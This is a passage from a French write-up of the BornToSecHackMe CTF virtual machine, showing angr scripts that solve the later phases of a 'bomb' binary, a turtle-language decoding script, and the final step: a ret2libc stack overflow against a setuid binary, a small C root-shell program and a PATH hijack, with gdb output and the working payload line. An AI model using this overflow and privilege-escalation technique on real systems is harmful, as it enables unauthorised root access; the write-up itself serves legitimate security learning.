0x08048cda      mov     esp, ebp
0x08048cdc      pop     ebp
0x08048cdd      ret

Même s’il est simple, le code de résolution est celui qui prend le plus de temps à l’exécution, certainement à cause de la récursivité :

1
2
3
4
5
6
7
8
9
10
11
def solve_flag_4():
    start = 0x08048d03
    end = 0x08048d2a
    project = angr.Project(BINARY, auto_load_libs=False)
    initial_state = project.factory.blank_state(addr=start)
    int1 = initial_state.solver.BVS("int1", 8*4)
    initial_state.memory.store(initial_state.regs.ebp - 0x4, int1, endness='Iend_BE')
    sm = project.factory.simulation_manager(initial_state)
    sm.explore(find=end, avoid=0x080494fc)
    solution_state = sm.found[0]
    print(unpack("<I", solution_state.solver.eval(int1, cast_to=bytes))[0])

La solution est simplement 9.

Boom! Shake The Room

La 5ème étape lit une chaine de caractère. Si elle ne fait pas 6 caractères la bombe explose. Une transformation est appliquée à la chaine puis le résultat est comparé à la chaine giants.

C’est l’étape qui m’a donné le plus de difficultés, le programme retournant des données invalides (faisait exploser la bmbe). Finalement ici j’ai utilisé un call_state au lieu d’un blank_state.

call_state permet de définir un état comme si on appelait directement la fonction. L’avantage c’est qu’on peut directement lui passer en paramètre la valeur symbolique que l’on a déclaré.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def solve_flag_5():
    start = 0x08048d2c  # beginning of function, on "push ebp" instruction
    end = 0x08048d94 # end of function on "ret" instruction

    project = angr.Project(BINARY, auto_load_libs=False)
    # Hooking some function we know the behavior should fasten things a bit
    project.hook(0x08049018, angr.SIM_PROCEDURES["libc"]["strlen"]())
    project.hook(0x08049030, angr.SIM_PROCEDURES["libc"]["strcmp"]())
    # We need a 6 chars string but let's say 7 and put a null byte at the end
    secret = claripy.BVS("secret", 8*7)
    initial_state = project.factory.call_state(
            start,
            angr.PointerWrapper(secret, buffer=True),
    )

    # Let's add some constraints to our input string
    # Chars should be lowercase
    for i in range(6):
        c = secret.get_byte(i)
        initial_state.add_constraints(initial_state.solver.And(c >= ord("a"), c <= ord("z")))

    # null byte
    c = secret.get_byte(6)
    initial_state.add_constraints(c == 0)

    sm = project.factory.simulation_manager(initial_state)
    sm.explore(find=end, avoid=0x080494fc)
    found_state = sm.found[0]
    print(found_state.solver.eval(secret, cast_to=bytes).decode().strip())

Ici j’ai du importer claripy pour déclarer la variable secret car à ce stade le initial_state n’était pas déclaré.

Je hook aussi deux fonctions du binaire dont je sais qu’elles ne sont que des recopies de strlen et strcmp. Ces hooks sont destinés à réduire le temps d’exécution d’angr.

Avant de lancer la recherche avec la fonction explore je spécifie sur l’état initial des contraintes pour la chaine à trouver : les 6 caractères doivent être des lettres minuscules et elle doit se terminer par un octet nul.

L’exécution est rapide :

1
2
3
4
5
$ python defuse.py
WARNING  | 2022-11-28 22:25:29,871 | cle.backends.externs | Symbol was allocated without a known size; emulation may fail if it is used non-opaquely: __ctype_b
WARNING  | 2022-11-28 22:25:29,873 | cle.loader     | For more information about "Symbol was allocated without a known size", see https://docs.angr.io/extending-angr/environment#simdata
WARNING  | 2022-11-28 22:25:29,881 | angr.calling_conventions | Guessing call prototype. Please specify prototype.
opekma

Spanish Bombs

La dernière fonction lit 6 entiers sur l’entrée standard. Il y a de multiples boucles à l’intérieur, certaines imbriquées. La fonction explode_bomb peut être appelée à trois endroits différents.

Dans le code angr suivant j’exploite des fonctionalités supplémentaires. Déjà le loader permet de trouver l’adresse d’une fonction via son nom (car l’exécutable n’est pas strippé). Deuxièmement je hooke la fonction de lecture des 6 entiers pour quelle retourne directement mes 6 valeurs symboliques. La fonction run ci-dessous met en mémoire les 6 valeurs et retourne 6 car la vrai fonction doit retourner le nombre d’entiers reçus.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class read_six_numbers_hook(angr.SimProcedure):
    answer_ints = []  # class variable
    int_addrs = []

    def run(self, __, int_addr):
        self.int_addrs.append(int_addr)
        for i in range(6):
            bvs = self.state.solver.BVS("phase6_int_%d" % i, 32)
            self.answer_ints.append(bvs)
            self.state.mem[int_addr].int.array(6)[i] = bvs

        return 6


def solve_flag_6():
    project = angr.Project(BINARY, auto_load_libs=False)
    project.analyses.CFG()

    phase_6 = project.loader.find_symbol("phase_6").rebased_addr
    read_six_numbers = project.loader.find_symbol("read_six_numbers").rebased_addr
    project.hook(read_six_numbers, read_six_numbers_hook())
    initial_state = project.factory.blank_state(addr=phase_6)

    sm = project.factory.simulation_manager(initial_state)
    # Cherche à atteindre la dernière instruction de la fonction sans exploser
    sm.explore(find=0x08048e90, avoid=is_exploded)
    found_state = sm.found[0]
    answer = [found_state.solver.eval(x) for x in read_six_numbers_hook.answer_ints]
    print(' '.join(map(str, answer)))

Résultat :

1
2
3
4
python defuse.py
WARNING  | 2022-11-28 22:44:29,571 | cle.backends.externs | Symbol was allocated without a known size; emulation may fail if it is used non-opaquely: __ctype_b
WARNING  | 2022-11-28 22:44:29,574 | cle.loader     | For more information about "Symbol was allocated without a known size", see https://docs.angr.io/extending-angr/environment#simdata
4 2 6 3 1 5

Démineur

On final ça se passe comme ça :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ./bomb
Welcome this is my little bomb !!!! You have 6 stages with
only one life good luck !! Have a nice day!
Public speaking is very easy.
Phase 1 defused. How about the next one?
1 2 6 24 120 720
That's number 2.  Keep going!
1 b 214
Halfway there!
9
So you got that one.  Try this one.
opekma
Good work!  On to the next...
4 2 6 3 1 5
Congratulations! You've defused the bomb!

Et le mot de passe est donc Publicspeakingisveryeasy.126241207201b2149opekmq426315.

On peut normalement se connecter avec ce mot de passe en tant que thor sauf qu’il faut en fait échanger l’avant dernier et l’avant-avant dernier caractère (du coup la fin doit être 426135).

C’est le genre de petite erreur qui peut transformer un CTF en une situation impossible, heureusement j’ai trouvé l’astude sur un autre writeup.

Petite parenthèse à propos du CTF : quand j’ai résolu cette épreuve je me suis principalement basé sur des codes d’exemples d’angr. On peut en trouver ici : GitHub - jakespringer/angr_ctf et là : angr-doc/examples.

L’un des exemples concerne un CTF de l’Université de Carnegie Mellon et le binaire est quasi identique à celui de ce CTF (voir la solution ici). Le CTF du CMU a aussi été résolu à l’aide d’angr par un élève de l’université.

Quand on voit les solutions pour le binaire du CMU on comprend que le code du CMU a juste été copié et légèrement modifié… dommage.

Timmy The Turtle

Une fois connecté avec l’utilisateur thor on remarque une fois de plus qu’il n’est pas membre de groupes intéressants et qu’il dispose de deux fichiers dans on home :

1
2
3
4
5
6
7
8
thor@BornToSecHackMe:~$ cat README
Finish this challenge and use the result as password for 'zaz' user.
thor@BornToSecHackMe:~$ head -5 turtle
Tourne gauche de 90 degrees
Avance 50 spaces
Avance 1 spaces
Tourne gauche de 1 degrees
Avance 1 spaces

Le langage Tortue (ou Logo) est un langage bien connu des débutants en programmation. Il permet aussi d’initier les enfants au développement.

Ici on a 1471 de langage Tortue francisé.

J’ai écrit le script suivant pour la traduction. Quand on rencontre une ligne vide on attend 2 secondes puis on efface l’écran :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import re

ROTATE = re.compile(r"Tourne (gauche|droite) de (\d+) degrees")
FORWARD = re.compile(r"Avance (\d+) spaces")
BACKWARD = re.compile(r"Recule (\d+) spaces")

with open("turtle") as fd:
    for line in fd:
        if not line.strip():
            print("wait 120")
            print("clean")

        search = ROTATE.search(line)
        if search:
            direction, angle = search.groups()
            if direction == "gauche":
                print(f"lt {angle}")
            else:
                print(f"rt {angle}")
            continue

        search = FORWARD.search(line)
        if search:
            print(f"fd {search.group(1)}")
            continue

        search = BACKWARD.search(line)
        if search:
            print(f"bk {search.group(1)}")
            continue

J’ai balancé le résultat sur https://inexorabletash.github.io/jslogo/ et ça affiche les lettres SLASH. Le mot de passe n’est pas utilisable tel quel pour le compte zaz, il faut le hasher en MD5 ce qui donne 646da671ca01bb5d84dbb5fb2238dc8e. Là encore c’est un point non mentionné mais qui fait toute la différence.

Overflooooooooooooooooooooooow

Cette fois ça y est, on est sur le boss final :

1
-rwsr-s--- 1 root     zaz  4880 Oct  8  2015 exploit_me

On a donc ce binaire setuid, non strippé et qui ne semble rien faire de plus qu’un strcpy et un puts.

1
2
3
4
5
zaz@BornToSecHackMe:~$ ./exploit_me toto
toto
zaz@BornToSecHackMe:~$ ./exploit_me totoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
totoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Segmentation fault (core dumped)

Petit coup d’œil à l’output de dmesg :

[48067.977397] exploit_me[4634]: segfault at 6f6f6f6f ip 6f6f6f6f sp bffff6d0 error 14

On a donc le controle sur le pointeur d’instruction. On peut jouer directement avec dmesg et on en conclut après quelques essais qu’il faut 140 caractères avant d’entamer l’adresse de retour.

La présence d’un 0 dans le fichier /proc/sys/kernel/randomize_va_space indique que l’ASLR n’est pas activé sur la VM. On a récupérer l’adresse de system(), trouver une chaine de caractères (n’importe laquelle) qui permettra de spécifier une commande à exécuter et ça devrait faire l’affaire :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
zaz@BornToSecHackMe:~$ gdb -q ./exploit_me
Reading symbols from /home/zaz/exploit_me...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483f4 <+0>:     push   %ebp
   0x080483f5 <+1>:     mov    %esp,%ebp
   0x080483f7 <+3>:     and    $0xfffffff0,%esp
   0x080483fa <+6>:     sub    $0x90,%esp
   0x08048400 <+12>:    cmpl   $0x1,0x8(%ebp)
   0x08048404 <+16>:    jg     0x804840d <main+25>
   0x08048406 <+18>:    mov    $0x1,%eax
   0x0804840b <+23>:    jmp    0x8048436 <main+66>
   0x0804840d <+25>:    mov    0xc(%ebp),%eax
   0x08048410 <+28>:    add    $0x4,%eax
   0x08048413 <+31>:    mov    (%eax),%eax
   0x08048415 <+33>:    mov    %eax,0x4(%esp)
   0x08048419 <+37>:    lea    0x10(%esp),%eax
   0x0804841d <+41>:    mov    %eax,(%esp)
   0x08048420 <+44>:    call   0x8048300 <strcpy@plt>
   0x08048425 <+49>:    lea    0x10(%esp),%eax
   0x08048429 <+53>:    mov    %eax,(%esp)
   0x0804842c <+56>:    call   0x8048310 <puts@plt>
   0x08048431 <+61>:    mov    $0x0,%eax
   0x08048436 <+66>:    leave
   0x08048437 <+67>:    ret
End of assembler dump.
(gdb) b *main
Breakpoint 1 at 0x80483f4
(gdb) r
Starting program: /home/zaz/exploit_me

Breakpoint 1, 0x080483f4 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e6b060 <system>
(gdb) info proc mappings
process 4813
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/zaz/exploit_me
         0x8049000  0x804a000     0x1000        0x0 /home/zaz/exploit_me
        0xb7e2b000 0xb7e2c000     0x1000        0x0
        0xb7e2c000 0xb7fcf000   0x1a3000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a3000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a5000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd2000 0xb7fd5000     0x3000        0x0
        0xb7fdb000 0xb7fdd000     0x2000        0x0
        0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) x/25s  0x8049000
0x8049000:       "\177ELF\001\001\001"
0x8049008:       ""
0x8049009:       ""
0x804900a:       ""
0x804900b:       ""
0x804900c:       ""
0x804900d:       ""
0x804900e:       ""
0x804900f:       ""
0x8049010:       "\002"
0x8049012:       "\003"
0x8049014:       "\001"
0x8049016:       ""
0x8049017:       ""
0x8049018:       "@\203\004\b4"
0x804901e:       ""
0x804901f:       ""
0x8049020:       "4\b"
0x8049023:       ""
0x8049024:       ""
0x8049025:       ""
0x8049026:       ""
0x8049027:       ""
0x8049028:       "4"
0x804902a:       " "

Il y a le caractère 4 tout seul à la fin, il fera bien l’affaire :)

J’ai d’abord compilé ce programme sous le nom 4 :

1
2
3
4
5
6
7
8
9
#include <unistd.h>
#include <stdlib.h>

int main(void) {
  setreuid(0, 0);
  setregid(0, 0);
  system("/bin/bash");
  return 0;
}

J’ajoute le dossier courant dans le path et on exploite :

1
2
3
4
5
6
7
8
zaz@BornToSecHackMe:~$ export PATH=.:$PATH
zaz@BornToSecHackMe:~$ ./exploit_me `python -c 'print "A"*140 + "\x60\xb0\xe6\xb7\x28\x90\x04\x08\x28\x90\x04\x08"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���((�
root@BornToSecHackMe:~# id
uid=0(root) gid=0(root) groups=0(root),1005(zaz)
root@BornToSecHackMe:~# cat /root/README
CONGRATULATIONS !!!!
To be continued...

Après les 140 caractères se trouvent l’adresse de system() (qui écrase l’adresse de retour), du junk puis l’adresse de notre chaine.

Et voilà

C’était très intéressant de pouvoir utiliser angr :) Le CTF est plutôt bien lui aussi mais les indications manquantes, les erratas et les solutions multiples laissent à désirer.

Cet article est sous licence CC BY 4.0 par l'auteur.